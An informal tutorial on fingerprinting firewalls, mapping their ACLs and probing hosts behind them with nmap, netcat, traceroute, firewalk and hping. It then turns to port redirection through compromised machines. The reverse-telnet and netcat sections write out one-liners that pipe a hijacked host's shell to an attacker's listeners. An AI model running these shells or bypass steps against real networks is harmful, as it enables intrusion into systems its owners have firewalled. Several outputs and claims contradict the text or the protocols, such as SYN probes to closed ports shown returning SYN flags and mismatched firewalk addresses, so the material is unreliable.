Advanced/Other Techniques for By Passing Firewalls

This paper will discuss identification, detection and the penetration techniques of firewalls, more specifically; the ability to probe a network behind a firewall. The continued version will discuss the ability to have access to a key or target network behind a firewall, without having to disable/alter the firewall, and again a bit more specifically; port redirection techniques. It is recommended that you have knowledge of networking, the UNIX Operating system, and an nmap utility on hand. The Suicide Mission: Allowing a server to connect to the internet without a firewall. Since the writing of Cheswick and Bellovin's book about deploying and building firewalls, firewalls have been constant needs for ISP's, hosting companies, even personal users. Equally as destructive, reckless, and suicidal, is allowing the non-experienced to configure the firewall. Usually its the network or the system administrator. The administrator might have experience with the network...but their security skills may be limited. Leading to a misconfiguration firewall. Result; an overly confident administrator that thinks his network is secure, and a major hole in the networks packet traffic filter...

Introduction:

Two most familiar firewalls arise popularity in the market at the moment; Application Proxies, and Packet Filtering Gateways. Most opinion resides that Application Proxies are more secure than Packet Filtering Gateways. They have their Pro's and Con's. Application Proxies are far more strict on letting packets into the network, as well as being harsh for any packets sent outward. Packet Filtering Gateways can be found on large corporate networks, they have high performance and inbound traffic requirements. Firewalls have secured many systems and networks over the past years. Secured them from malicious packets, prying eyes, etc. But just a plain firewall is nothing near secure. Vulnerabilities in these firewalls arise quite often. Each type of firewall is found with a new exploit and technique to circumvent. The biggest exploit vulnerability is a misconfiguration of the firewall.

Don't take me wrong. A well-configured, -architecturally designed, -updated, and maintained firewall, is hardly penetrable. Most hackers will run into these firewalls, and not bother with them, attempting to find a way to work around them. By either exploiting trust with the secured systems behind the firewall, or even by attacking through another service not filtered by the firewall, i.e. dial up.

Detecting Present Firewalls and Beyond:

Each firewall has its own unique style of identifying itself. Attackers are able to take advantage of this identification sequence by using simple scanning, banner grabbing, etc. They may even be able to identify the version, type, and maybe even some certain rules. This identification doesn't seem important, but once they map out your firewall's strategic points, weaknesses begin to surface. About the most simplest detection/identification technique is a simple scan for open ports. Certain firewalls can be identified by the default open ports. Check Points Firewall-1 by default listens on TCP ports 256, 257, 258. Whereas Microsoft's Proxy Server also by default listens on TCP ports 1745 and 1080. Other firewalls come with their own default ports. Using nmap, launching it with certain arguments allow us to check for a certain firewall, or to check if a firewall exists or not. Simply: [root@localhost]# nmap -n -vv -P0 -p256, 257, 258, 1080, 1745 10.10.1.8 Its quite certain that any skilled, or even newly introduced attacker will preform these scans on a network to provide them with information of any firewall or packet filtering obstacle. By the way, Intrusion Detection Systems, commonly known as IDSes, they don't pick these scans up. You should probably be able to configure your IDS to pick up any scans, but usually they log only the "hardcore" threatening scans. Also note banner grabbing is a technique used to identify firewalls, much like a default port. C:> nc -v -n 10.10.1.8 23 (UNKNOWN) [10.10.1.8] 23 (?) open Eagle Secure Gateway. Hostname:

Even for more evidence that this may be a firewall, using netcat to TCP 25 (Send Mail Transfer Protocol, SMTP): C:> nc -v -n 10.10.1.8 25 (UNKNOWN) [10.10.1.8] 25 (?) open 421 10.10.1.8 Sorry, the firewall does not provide mail service to you. Therefore showing that our host is a firewall. Allowing further mapping of the network. Also, a third way for identification of firewalls resides in a port identification technique. Several firewalls may give back a sequential set of numbers, therefore identifying the firewall type and version. Example of netcat connecting to an SNMP management on port TCP 259 with a Checkpoint Firewall-1 impelemented.

[root@localhost]# nc -v -n 10.10.1.72 259 (UNKNOWN) [192.168.21.1] 259 (?) open 30000003

[root@localhost]# nc -v -n 10.10.1.95 259 (UNKNOWN) [192.168.29.212] 259 (?) open 31300003

Another technique is using debugging tools. Trace-route works fine. Trace-route, or known as tracert.exe on Windows systems, is a network debugging utility used to detect amount and active hops towards a host. Sends UDP data-gram packets by default, or ICMP ECHO packets by switch decision. These packets are set with a TTL (Time to Live) field. The TTL is set for 1. The Packets TTL field is incremented by 1 per host detected, therefore reaching the latest undetected host with a TTL field of 0. When this packet with a TTL of 0 reaches a router, the router will by default respond with an ICMP error message (TTL exceeded in transit.) to the original, tracerouting host. Traceroute chooses a high UDP port

thats very unlikely to be used by any running service or application, thus no errors may occur. Therefore traceroute can be used for detection of firewalls. Yet certain deductions and reading must be enabled in the users mind, but its possible. The following example shows a basic traceroute attempt to discover a firewall.

Traceroute: In this scenario, a network is protected by a packet filtering device that blocks all excess and found traffic except for ping and ping responses (ICMP types 8 and 0 respectively). We can and will attempt to use the traceroute program to show us what hosts are behind this filter, which can be the firewall, or a router (which is presumably against the security policy).

[root@localhost]# traceroute 10.10.1.10 traceroute to 10.10.1.10 [10.10.1.10], 15 hops max, 20 byte packets 1 10.10.1.2 [10.10.1.2] 0.022 ms 0.024 ms 0.025 ms 2 10.10.1.3 [10.10.1.3] 1.327 ms 2.360 ms 2.380 ms 3 10.10.1.4 [10.10.1.4] 4.217 ms 4.612 ms 4.656 ms 4 10.10.1.5 [10.10.1.5] 4.927 ms 5.090 ms 5.238 ms 5 10.10.1.6 [10.10.1.6] 5.529 ms 5.812 ms 6.003 ms 6 10.10.1.7 [10.10.1.7] 56.921 ms 59.162 ms 61.762 ms 7 10.10.1.8 [10.10.1.8] 63.832 ms 63.682 ms 61.235 ms 8*** 9*** 10 * * *

Hop 7, at 10.10.1.8, is assumed to be the firewall. Of course, we may not be right. As you learned earlier, a firewall can be a router, or any other packet filtering or redirection application. Our Packets pass through to detect the firewall. Using the -I arguement on the Linux version of traceroute.

[root@localhost]# traceroute -I 10.10.1.10 traceroute to 10.10.1.10 [10.10.1.10], 15 Hops Max, 20 byte packets 1 10.10.1.2 [10.10.1.2] 0.022 ms 0.024 ms 0.025 ms 2 10.10.1.3 [10.10.1.3] 1.327 ms 2.360 ms 2.380 ms 3 10.10.1.4 [10.10.1.4] 4.217 ms 4.612 ms 4.656 ms 4 10.10.1.5 [10.10.1.5] 4.927 ms 5.090 ms 5.238 ms 5 10.10.1.6 [10.10.1.6] 5.529 ms 5.812 ms 6.003 ms 6 10.10.1.7 [10.10.1.7] 56.921 ms 59.162 ms 61.762 ms 7 10.10.1.8 [10.10.1.8] 63.832 ms 63.682 ms 61.235 ms 8 10.10.1.9 [10.10.1.9] 62.926 ms 66.125 ms 67.032 ms 9 10.10.1.10 [10.10.1.10] 70.482 ms 71.273 ms 71.762 ms 10 10.10.1.11 [10.10.1.11] 73.192 ms 76.921 ms 82.325 ms So, instead of using the default UDP datagram TTL packets, which seemed to not work. We decided to force traceroute with the -I arguement to use ICMP packets. Looking at the traceroute results carefully you can see that we were able to detect hosts, and systems behind the firewall. One Common scenario configuration is a firewall blocking all connections and traffic, inbound or outbound the network except for the Domain Name Service, also known as DNS. This leaves UDP port 53 open. [root@localhost]# traceroute 10.10.1.10 traceroute to 10.10.1.10 [10.10.1.10], 15 hops max, 20 byte packets 1 10.10.1.2 [10.10.1.2] 0.022 ms 0.024 ms 0.025 ms 2 10.10.1.3 [10.10.1.3] 1.327 ms 2.360 ms 2.380 ms 3 10.10.1.4 [10.10.1.4] 4.217 ms 4.612 ms 4.656 ms 4 10.10.1.5 [10.10.1.5] 4.927 ms 5.090 ms 5.238 ms 5 10.10.1.6 [10.10.1.6] 5.529 ms 5.812 ms 6.003 ms 6 10.10.1.7 [10.10.1.7] 56.921 ms 59.162 ms 61.762 ms 7 10.10.1.8 [10.10.1.8] 63.832 ms 63.682 ms 61.235 ms 8*** 9***

10 * * *

Looking up at the recent example...the last detected hop is at 10.10.1.8. We're assuming everything else is blocked through, except for Domain Name Server, UDP 53. We have this knowledge, therefore we can use it to our advantage. Using and customizing traceroute, will allow us to probe targets behind the firewall. We can control a couple things, the starting traceroute port used, which is increased by every probe. And we can control the number of probes sent, which is by default set to 3. We can also use the following determination of how many hops are between our attacking host and the firewall. Beginning our scan with a starting port number of : (target_port - (number_of_hops * num_of_probes)) - 1 We will attempt to fool the firewall into thinking that we are sending it a Domain Name Server query packet, therefore bypassing and circumventing Access Control Lists (ACL's). Using the formula listed above (not really a formula, i just want myself to feel more educated). We can use it to help us configure and customize our traceroute packet. Also note that firewalls do not do packet content analysis, therefore they can be fooled by spoofing a packet. Formula variables plugged in with or scenario: ( 53 - ( 8 * 3 )) - 1 = 28 The new reconstructed packet will have an acceptable and accessible port number, therefore allowing it to bypass ACL restrictions. As shown in the following example.

[root@localhost]# traceroute -p28 10.10.1.10 traceroute to 10.10.1.10 [10.10.1.10], 15 hops max, 20 byte packets 1 10.10.1.2 [10.10.1.2] 0.522 ms 0.624 ms 0.625 ms 2 10.10.1.3 [10.10.1.3] 5.327 ms 6.360 ms 6.380 ms 3 10.10.1.4 [10.10.1.4] 7.217 ms 7.612 ms 7.656 ms 4 10.10.1.5 [10.10.1.5] 8.927 ms 9.090 ms 9.238 ms

5 10.10.1.6 [10.10.1.6] 9.529 ms 10.812 ms 12.003 ms 6 10.10.1.7 [10.10.1.7] 56.921 ms 59.162 ms 61.762 ms 7 10.10.1.8 [10.10.1.8] 63.832 ms 63.682 ms 61.235 ms 8 10.10.1.9 [10.10.1.9] 65.158 ms * * 9*** 10 * * * Recalling the fact that traceroute increases the port number for each probe sent, or scan terminates after passing our target firewall. Since the first probe had an assigned port of UDP 53 (DNS), the next probe sent had UDP 54. Based on the ACL's gathered for this packet filtering application, the UDP 54 is blocked. To possibly get more information and probe the network yet some more, we must keep the packet at a condition where it will bypass the ACL. And since we would like to keep the port at UDP 53, we need to issue another argument to disable incrementation of packet port number for each probe. Allowing every packet sent to fit the ACL requirements and be acceptable, therefore permitting us further probing of the network. Here traceroute1.4a5 is used, found at http://www.packetfactory.com. [root@localhost]# traceroute -S -p28 10.10.1.12 traceroute to 10.10.1.12 [10.10.1.12], 15 hops max, 20 byte packets 1 10.10.1.2 [10.10.1.2] 0.522 ms 0.624 ms 0.625 ms 2 10.10.1.3 [10.10.1.3] 5.327 ms 6.360 ms 6.380 ms 3 10.10.1.4 [10.10.1.4] 7.217 ms 7.612 ms 7.656 ms 4 10.10.1.5 [10.10.1.5] 8.927 ms 9.090 ms 9.238 ms 5 10.10.1.6 [10.10.1.6] 9.529 ms 10.812 ms 12.003 ms 6 10.10.1.7 [10.10.1.7] 56.921 ms 59.162 ms 61.762 ms 7 10.10.1.8 [10.10.1.8] 63.832 ms 63.682 ms 61.235 ms 8 10.10.1.9 [10.10.1.9] 62.926 ms 66.125 ms 67.032 ms 9 10.10.1.10 [10.10.1.10] 92.332 ms 93.214 ms 96.016 ms 10 10.10.1.11 [10.10.1.11] 101.523 ms 103.273 ms 103.923 ms 11 10.10.1.12 [10.10.1.12] 104.516 ms 105.523 ms 105.682 ms 12 10.10.1.13 [10.10.1.13] 109.231 ms 111.122 ms 117.923 ms

Fire walking: While we're still talking about trace route and trace route packets, I will briefly discuss Fire walking. Firewalk works by constructing packets with an IP TTL calculated to expire exactly one hop past the firewall, like Traceroute. Expected Result: The packet is allowed by the firewall, it will be allowed to pass and will expire as instructed. Therefore giving off an "ICMP TTL expired in transit" message. Of course, if the packet is blocked by the firewall's rules, it will be dropped down, and we will receive either a null response (no response), or an ICMP type 13 Admin Prohibited filter packet. By sending probes in a successive manner and recording which ones answer and which ones don't, the access list on the gateway can be determined. We must have two pieces of information before we begin: 1) IP Address of the Last Gateway detected before the firewall kicks in. 2) IP Address of a host located in the fire walled area, behind the firewall. IP Address 1, the gateway, will provide us as a way point. If we can not get a response beyond this machine, it is assumed that our packet is being blocked by whatever protocol we tried to pass. As you might have figured out already, IP Address 2, the host, will be used as a destination for the packets. An example of firewalk in action:

[root@localhost]# firewalk -n -P1-8 -pTCP 10.10.1.7 10.10.1.12 Firewalking through 10.0.0.5 (towards 10.0.0.20) with a maximum of 25 hops. Ramping up hop counts to binding host... probe: 1 TTL: 1 port 33434: [10.10.1.1] probe: 2 TTL: 2 port 33434: [10.10.1.2] probe: 3 TTL: 3 port 33434: [10.10.1.3] probe: 4 TTL: 4 port 33434: [10.10.1.4] probe: 5 TTL: 5 port 33434: [10.10.1.5] probe: 6 TTL: 6 port 33434: [10.10.1.6] probe: 7 TTL: 7 port 33434: Bound scan: 7 hops [10.10.1.7] port 135: open port 136: open port 137: open

port 138: open port 139: * port 140: open As we can see, the firewall's ACL rules are bypassed by the use of firewalk. More information including the source code can be found at www.packetfactory.net/projects/. Now back to our cool radical utility nmap. Reason: nmap scans a host like a normal scanner and gives you an "open" or "closed", plus it tells you what ports may be blocked. There are 3 reasons or conditions that may cause the return of a fitlered port: 1) No SYN/ACK packet was recieved. 2) No RST/ACK packet was recieved. 3) System replied with an ICMP type 3 (Destination Unreachable) with code 13 (Communication Administratively Prohibited). Nmap will use all these conditions and consider it a filtered port. For Example: [root@localhost]# nmap -p21,23,53,80 -P0 -vv 10.10.1.10 Starting nmap V. 2.07 by Fyodor (fyodor@dhp.com, www.insecure.com/nmap/) Initiating TCP connect() scan against (10.10.1.10) Adding TCP port 21 (state Open). Adding TCP port 53 (state Firewalled). Adding TCP port 23 (state Firewalled). Adding TCP port 80 (state Open). Interesting ports on (10.10.1.10): Port State Protocol Service 21 open tcp ftp 23 filtered tcp telnet 53 filtered tcp domain 80 open tcp http

From what we see in the ouput, a couple of ports are `Firewalled`. We can use the tcpdump output to

determine the reason its filtered. Raw Packet Transmission and HPING: Raw packet transmission is also used to probe networks behind a firewall. Hping works by sending TCP packets a destination port, then analyzing and reporting the packet received. Hping allows us to discover accepted, blocked, dropped, or rejected packets. Thus allowing our probing of the ACL rules to expand even further and more in depth. [root@localhost]# hping 10.10.1.7 -c2 -S -p21 -n HPING 10.10.1.7 (eth0 10.10.1.1) : S set, 40 data bytes 60 bytes from 10.10.1.1: flags=SA seq=0 ttl=242 id=65121 win=64240 time=144.4 ms

Looking at the recent example, we can see that TCP port 21 on 10.10.1.7 is open, given the fact that we received a packet with an SA flag set, which is basically a SYN/ACK packet. This says that a port is open, but we do not know if it is the firewall or not. A little more probing must take place. [root@localhost]# hping 10.10.1.10 -c2 -S -p80 -n HPING 10.10.1.10 (eth0 10.10.1.1) : S set, 40 data bytes ICMP Unreachable type 13 from 10.10.1.8 For this hping, we receive an ICMP type 13 packet, which is an ICMP administrator prohibited filter packet. From these few commands we have confirmed that 10.10.1.8 is our firewall, and it is most likely blocking port 80 on 10.10.1.10. Another likely response you might get from a firewalled host is as follows. [root@localhost]# hping 10.10.1.16 -c2 -S -p23 -n HPING 10.10.1.16 (10.10.1.1) : S set, 40 data bytes 60 bytes from 10.10.1.1: flags=RA seq=0 ttl=59 id=0 win=0 time=0.5 ms

This shows 1 of 2 items of possibilities. Number 1 being that the packet was accepted by the firewall and the packet fit the ACL rules, yet the host is not listening on that port. Or Number 2 being that the firewall rejected the packet (as in Checkpoint's reject packet option and rules). By using the ICMP type 13 packet we had obtained earlier, we can assume that the firewall is allowing our packet through, but the host is just not listening. And Of course, when a paranoid administrator configures the firewall to block all packets, you will receive:

[root@localhost]# hping 10.10.1.16 -c2 -S -p23 -n HPING 10.10.1.16 (10.10.1.1) : S set, 40 data bytes

Source Port Scanning: This technique applies to packet filtering applications and devices which do not maintain state. For example, Cisco's IOS. When thought about, if a firewall cannot maintain state, then it cannot manifest if the connection is inward or outbound. In this case, transmissions may pass through unfiltered. Setting the source port to a common port that is allowed through firewalls, for example our earlier example, UDP port 53 (DNS). Using the -g option with nmap:

[root@localhost]# nmap -sS -P0 -g 53 -p 139 10.10.1.15 If you receive a positive output of open ports, then you most likely have a vulnerable firewall. Badly Configured ICMP Packets: I will breifly discuss this, it has been well documented at www.blackhat.com. According the paper, we can use various methods to elicit an ICMP error message back from a probed host and discover its existence. Some of the methods are as follows: - Mangling IP headers

- Different Header Length Field - IP Options Field - Using non-valid field values in the IP header - Using valid field values in the IP header (opposite of above) - Abusing Fragmentation With the first method we are using bad IP headers in the IP data gram that would generate an ICMP Parameter Problem err or back from the probed machine to the source IP address of the probing data gram. The second method use non-valid field values in the IP header in order to force the probed machine to generate ICMP Destination Unreachable error message back to the malicious computer attacker. The third method discussed uses fragmentation to trigger an ICMP Fragment Reassembly Time Exceeded error message from the probed machine. The last method uses the UDP Scan method to elicit ICMP Port Unreachable error message back from a closed UDP port(s) on the probed host(s). You can learn more about it at http://expert.cc.purdue.edu/~frantzen. If we probe the entire IP range of the targeted network with all combinations of protocols and ports, it would draw us the targeted network topology map, and will allow us to determine the access list (ACL) a Filtering Device (If present, and not blocking outgoing ICMP Parameter Problem Error messages) is forcing.

Conclusion: There are many ways to detect and probe a network. I have just discussed a few main key-points that will lead to the discovery of other techniques. This document was also aimed at administrators who believe that they're networks are secure, and to try these techniques out themselves on their own systems. These techniques can be constantly used to probe and draw out your network's topology, including the firewall's ACL.

Truth; a well-configured is very hard to bypass. Tools like traceroute, nmap, hping, and others that can be used, help attackers to discover (or at least, assume) access paths through your rougher and firewall as well as the type of firewall you are using. Many vulnerabilities found are due to misconfiguration s in your firewalls ACL's, or even a lack of monitoring and administration of the logs, traffic, and maintenance. In some cases, a filtering device may filter out all packets except for packets from a certain network, or system. If this is the case, an attacker might compromise the key target system, or a key system on a network which has access beyond the firewall and then use port redirection to exploit a trust with the firewall. Allowing the intruder a hole in the firewall, in a case which he might foward packets to a specified destination in a once "firewalled" area. Redirection works by listening on a certain configured port, and redirecting all raw packets to a secondary destination. Redirection usually occurs from the attackers system, to a defaced key system with access to the target network, and then to the target network. But in some cases, the redirection may spawn at the heart of the target system, in our scenario, reverse telnet. Reverse Telnet: One of the most famed technique or method of redirection is executed by way off our daily telnet daemon, accompanying the average UNIX distribution. This technique is spawned from a compromised system within the target network. Reverse telnet is exceptionally simple for a couple reasons; the redirection is almost instant, and the uploading of files is not necessary (unless of course the system did not come with the usual daemon). It is called "reverse telnet" because it uses telnet to connect to listening netcat windows, and then feeds the commands from one window into the reverse telnet stream, sending output into the other window. Reverse telnet is done by first starting two netcat listeners on a box, using two different command prompts: C:> nc -vv -l -p 80

E:> nc -vv -l -p 25 Next we use the following UNIX command on the target system to take input from port 25, and pipe it to the local shell to execute the command, and then pipe the output back to the attacker's port 80 shell.

[root@localhost]# sleep 10000 | telnet 10.10.1.1 80 | /bin/bash | telnet 10.10.1.1 25 NetCat Shells: If you have the ability and time to upload files onto the target system, we can execute a method similar to reverse telnet. Take into mind this example: C:> nc 10.10.1.1 80 | cmd.exe | nc 10.10.1.1 25 If the machine on 10.10.1.1 has a listening netcat service on TCP 80 and TCP 25, and configured correctly for TCP 80 to be inbound and TCP 25 to be outbound between the compromised system, then this command will gladly shell remote commands through the shell it gave you. Data pipe: Setting up 3 netcat shells can be irritating and time consuming. Several utilities exist to make this technique a lot simpler and less time consuming, specifically for port redirection. A tool available for UNIX systems, quite popular and used very often is data pipe. You may obtain data pipe at packetstorm. Data pipe may seem irritating at first, since it must be run on both ends of the attack, the attackers system and the compromised host behind the firewall. For example, attack a Windows NT system that is targeted, which is protected by a firewall that is ruled to permit high numbered ports. If a system on the network behind the firewall compromised, the attacker, using data pipe may set up a port redirection on the compromised system to listen to port 65000 (which is a high numbered port allowed by our firewall)

and forward it to port 139 (the Windows NT system, 10.10.1.12). (following command:) datapipe 65000 139 10.10.1.12 On the attackers end, a redirector system must be set up to listen on any given port, and then redirected to port 65000 to the compromised host (10.10.1.7). datapipe 139 65000 10.10.1.7 A Set up like this would allow an attacker to send his packets to his redirection system, thus allowing it to redirect the packets to the compromised host on the target's network. The redirection system will redirect the packets to a high level port, in our senario, port 65000, which is not filtered by the firewall. The compromised host will recieve these packets and then redirect them to port 139 on the target Windows NT system. rinetd: Also known as the `internet redirection server`, or `reverse inet daemon`. Written by Thomas Boutell, and can be found at Boutell's site. In a nutshell it redirects TCP connections from one IP address and port to another. You may find some similarities between its functions and datapipes. "rinetd is a single-process server which handles any number of connections to the address/port pairs specified in the file /etc/rinetd.conf. Since rinetd runs as a single process using nonblocking I/O, it is able to redirect a large number of connections without a severe impact on the machine. This makes it practical to run TCP services on machines inside an IP masquerading firewall." rinetd will redirect only connections which require one socket, thus excluding FTP. FTP will not be redirected by rinetd because it requires more than one connection. Rinetd uses a very easy syntax, which is entered into his configuration file; /etc/rinetd.conf (on *nix systems). The syntax is basically: bindaddress bindport connectaddress connectport An example:

10.10.1.17 23 10.1.1.3 23 This rule entered to the configuration file would redirect all connections to port 23 from the address 10.10.1.17, (anything from a real one to a virtual interface), through rinetd and then to port 23 on 10.1.1.3, this could be a system inside a firewall having routing abilities to the outside world disabled. Rinetd 's configuration file, as mentioned early, is in /etc/rinetd.conf. Running rinetd would be the cause of the command: [root@localhost]# rinetd -c config_file The -c switch is used to point rinetd to a different configuration file, other than /etc/rinetd.conf. Like datapipe, rinetd may exploit misconfigured firewall ACL. fpipe: FPipe is a TCP source port forwarder/redirector, from Foundstone, Inc. It can create a TCP stream with a source port of your choice. The most ideal and valueable Windows replacement for the UNIX-based datapipe. Going back to part 1, we see that source port's are large firewall insecurities. Only port redirector that is known to bind to a static port to bypass firewalls for the Windows platform is fpipe. For penetration testing purposes, this is very commonly used to circumvent a firewall or a router that is ruled to permit traffic with source of a certain port, example: port TCP 25 is to talk the mail server. By default, TCP/IP selects a very high source port for client connections, and using the same rules that most firewall's have, they will permit high numbered ports through their filter. Even if the firewall just allows, UDP 53 which is the Domain Name Server, also known as DNS, fpipe can force the stream to continuously use a source port of 53. Therefore the firewall will acknowledge that the stream is of a permitted source port, and allow it through. Conclusion:

In this document we have discussed various ways a one may attack a key target system or network behind a firewall without having to dismantle the firewall, or cause anything that may be quite noticeable. Firewalls and routers provide the front line defense base of a network, when they're breached and the attacks power can hardly be determined or even assumed.

Probing Hosts: As proven to you previously, there are many ways that you can detect if a host is available behind the firewall. We mainly described the use of traceroute and ICMP packets to detect hidden hosts. There are more in depth and cryptic methods that can be also used to detect hosts. The techniques I will use include the different combination of flags set in certain packets sent. The flagged packets will then be sent and we will observe which packets return to us. You will need knowledge of how the Transmission Control Protocol (TCP) works. Lets Review: The client sends the destination a packet with the SYN flag bit set. The destination host either replies with a packet flagged with the RST bit, or a SYN|ACK packet which acknowledges the sent packet flagged with the SYN bit. The host then sends back an ACK packet to acknowledge the sent packet with the SYN bit and ACK bit flagged. As I mentioned before, we have used techniques like probing with ICMP packets, usually traceroute packets. As the Internet grows, and security becomes a bit more ecknowledged; firewall/router configurations have been ruled to block ICMP's Type 8 packets, commonly known to be used in Ping. Using this before we have indicated that ping, is probably the easiest host detection tool available. By using TCP flagged packets, we will have a bit more access to probing the network. Especially since the typical firewall/router won't block TCP packets. So by manipulating the flags on these packets, we can force a host to respond in a manner which we can analyze to probe the system. These techniques provide us to port scan hosts, detect if a host is online or offline, and broadly determine its operating system.

Detecting if Hosts are alive or not: We will be using hping, from http://www.kyuzz.org/antirez/hping2.html. Host detection starts at the most basic level with just sending a packet, and waiting for the reply. If no reply is giving, either the host is down, or the packet has been filtered or dropped. TCP Ack packet: When a packet with the ACK (acknowledge) bit flagged is sent to a host, if the host is alive, it should respond with another packet with the RST (reset) bit flagged. Another plus to this technique is that it doesn't make a difference whether the port you sent the ACK-flagged packet to is open, or closed. If the host is alive, it should respond with the RST-flagged packet. [root@localhost]#hping 10.10.1.17 -A -c1 -p 2 hping 10.10.1.17 (eth0 10.10.1.17) : A set, 40 data bytes 60 bytes from 10.10.1.17: flags=R seq=0 ttl=59 id=0 win=0 time=0.3ms Notice the returned packet, flagged with the RST (reset) bit. This indicates that our host is alive and that the packet allows TCP ACK-flagged packets through. TCP Syn/Ack packet: This technique sends a packet with the Syn and Ack bits flagged. This will also help us later one with the broad operating system detection techniques, but now to talk about host detection. When a host receives a packet flagged with the Syn/Ack bits, it returns a packet flagged with the RST bit.

[root@localhost]#hping 10.10.1.16 -SA -c1 -p 2 hping 10.10.1.16 (eth0 10.10.1.16) : SA set, 40 data bytes 60 bytes from 10.10.1.16: flags=SA seq=0 ttl=59 id=0 win=0 time=0.5ms Port Scanning:

We can use TCP Flagged packet methods to detect open ports and closed ports. Also you may use these techniques for port detection. I will discuss various ways that a packet may be analyzed to see if it was sent to an open port or a closed port. TCP Syn Packet: This technique is somewhat a very effective technique. Usually packets with the SYN bit flagged won't be filtered or dropped. Usually an open port will receive this packet, and return the expected TCP Syn/Ack -flagged packet. Closed ports will often return a packet flagged with the Rst/Ack bits. Examples follow: [root@localhost]#hping 10.10.1.17 -S -c1 -p 21 hping 10.10.1.17 (10.10.1.17) : S set, 40 data bytes 60 bytes from 10.10.1.17: flags=SA seq=0 ttl=59 id=0 win=0 time=0.5ms The above demonstration was sent to a host to check if port 21 (File Transfer Protocol), and apparently it was. As you noticed, a packet returned with the Syn/Ack bits flagged. [root@localhost]#hping 10.10.1.17 -S -c1 -p 2 hping 10.10.1.17 (10.10.1.17) : S set, 40 data bytes 60 bytes from10.10.1.17: flags=S seq=0 ttl=59 id=0 win=0 time=0.3ms The above was observed as a packet flagged with the SYN bit was sent to a closed port, port 2. TCP Fin Packet: A technique also used to detect open and closed ports, and of course, online or offline hosts. This technique is not as efficient as the Syn-bit flagged packet. Why? Because an open port will drop a packet flagged with the FIN bit. A closed port will respond with an Rst/Ack flagged packet. Examples: [root@localhost]#hping 10.10.1.17 -F -c1 -p 2

hping 10.10.1.17 (10.10.1.17) : F set, 40 data bytes 60 bytes from 10.10.1.17: flags=RA seq=0 ttl=59 id=0 win=0 time=0.5ms As shown above, the packet with the Fin bit flagged was sent to an assumed closed port, 2. The response was another packet with the Rst/Ack bits flagged. Another technique to discover open and closed ports. Assumed not to me the best, since a firewall might be filtering at the time, so if a packet sent to a closed port, gets dropped by the firewall, you might assume that the port is open. Tsk tsk :). TCP Null Packet: Another technique which uses TCP flags includes not using any. This packet will be sent to a closed port to result in an Rst/Ack flagged packet. As like before, a Null packet sent to an open port, will result in noresponse, or the packet being discarded. [root@localhost]#hping 10.10.1.17 -c1 -p 2 hping 10.10.1.17 (10.10.1.17) : NO FLAGS are set, 40 data bytes 60 bytes from 10.10.1.17: flags=RA seq=0 ttl=59 id=0 win=0 time=0.5ms Our response was a packet flagged with the Rst/Ack bits, proving that port 2 is closed. Quite similar to the TCP Fin packet technique, but not as flexible. Certain firewalls may be configured to drop null packets, as usually there is hardly any use for them, thus allowing a misconception. TCP Xmas Packet: Also like the above two techniques, we check to see if a port is closed or open. If a port is closed, we will be responded to with an Rst/Ack flagged packet, if the port is open, the host will nto respond to it, thus discarded. [root@localhost]#hping 10.10.1.17 -c1 -F -S -R -P -A -U -X -Y -p 2 hping 10.10.1.17 (10.10.1.17) : RSAFPUXY set, 40 data bytes 60 bytes from 10.10.1.17: flags=RA seq=0 ttl=59 id=0 win=0 time=0.5ms As shown above the host we are testing responds with an Rst/Ack flagged packet, proving that the port is

closed. But as with the Null packet, usually Xmas packets are filtered, not allowing further probing. These techniques, if allowed, can also be used to detect hosts, and to see if hosts are alive. The probability of finding a closed port would be a lot easier than finding an open port. Techniques like these will bypass firewalls by making the packets look like everyday traffic. ICMP Techniques: ICMP packets, used for troubleshooting networks sometimes, or even for gathering basic information, are a common and crucial part of networking, and to filter some out would not be quite a decision. I briefly discussed these techniques in my earlier documents. Ping is the most common ICMP type used, and known. Most, if not all firewalls block PING, which is the ICMP Type 8, ECHO REQUEST, and ICMP Type 0, ECHO REPLY. Using other ICMP packets that the firewalls might not be blocking we can detect if a host is alive. ICMP Timestamp Request, Type 13: [root@localhost]#icmpush -vv -tstamp 10.10.1.17 -> Outgoing interface = 10.10.1.1 -> ICMP total size = 20 bytes -> Outgoing interface = 10.10.1.1 -> MTU = 1500 bytes -> Total packet size (ICMP + IP) = 40 bytes ICMP Timestamp Request packet sent to 10.10.1.17 (10.10.1.17) Receiving ICMP replies... 10.10.1.17 -> Timestamp reply transmitted at 06:17:42 icmpush: Program finished OK Seeing our result, the ICMP packet was allowed through the firewall. The admin might not have thought that it will lead to soem detection, but it has. Timestamp technique is used commonly against *nix machines, see the "Broad OS Guessing" section later in this paper.

This is all I will cover from the ICMP techniques, since icmpush 's manual explains the rest. Usually the blocked ICMP packets are the ICMP type 8 ECHO REQUEST, and the ICMP type 0 ECHO REPLY, both used for ping. Broad OS Guessing: A certain number of these techniques might not work on a certain platform. This ain't the best technique out there for playing 'guess the operating system'. It is not that accurate, nor is it always successful. These attempts/methods have been based on trial experience, what OSs respond to what packets. Windows: If you have tried, and reached this level, you would have found out that most of these techniques for Host Detection don't work on windows. Only one of the TCP Flagged packet techniques does not work on windows, and that is the XMas technique. Also another thing that window doesn't work with, is the broadcast technique. We did not cover this technique so I will overview it briefly. If a firewall allows ICMP Type 8 Packets through, you ping the network or broadcast address, which will result in sending an ICMP Type 8 packet to every host on the network, having them send their ICMP Type 0, ECHO REPLY to you. This will allow you to map out the network, yet it doesn't work with Windows computers, unless they are NT4, with a certain service pack. As mentioned earlier, the timestamp request technique does not work with Windows systems, and has proven quite efficient against *nix systems. Last and not least, another technique we haven't discussed that does not work with Windows systems is the ICMP Type 15, Information Request packet. Used to request from a host it's network address. According to some sources, ICMP Type 15, and ICMP Type 16, are both obsolete. Linux: Contrary to most of the techniques mentioned above, ICMP Type 17 did not work against a Linux system, but did against Windows systems. ICMP Type 17, Address Mask Request, is used to request and obtain the sub-net mask on a target network. The response, ICMP Type 18, Address Mask Reply, would include the sub-net mask.

